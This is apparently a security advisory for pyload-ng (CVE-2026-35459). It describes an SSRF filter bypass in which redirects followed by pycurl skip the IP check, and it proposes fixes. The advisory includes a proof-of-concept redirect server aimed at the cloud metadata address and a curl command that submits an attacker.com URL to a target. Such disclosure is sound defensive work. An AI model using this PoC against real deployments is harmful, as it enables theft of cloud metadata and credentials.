pyload-ng
Affected
- introduced
0, last affected0.5.0b3.dev96(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-35459, GHSA-7gvf-3w72-p2pg
pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)
Summary
The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.
An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.
Root Cause
The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:
dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
self.fail(...)
else:
for ip in host_to_ip(dl_hostname):
if not is_global_address(ip):
self.fail(...)
After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)
No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.
PoC
Redirect server (attacker-controlled):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
Submit to pyload (requires ADD permission):
curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
-d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'
The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.
Impact
An authenticated user with ADD permission can access:
This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.
## Suggested Fix
Disable automatic redirect following and validate each redirect target:
# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)
Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:
self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)
And add a pycurl callback to validate redirect destination IPs before following.
Resources
Not rated by the source.
0, last affected 0.5.0b3.dev96 (ecosystem)None listed
No fixed version is listed.
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Source: PyPA Advisory Database · CC BY 4.0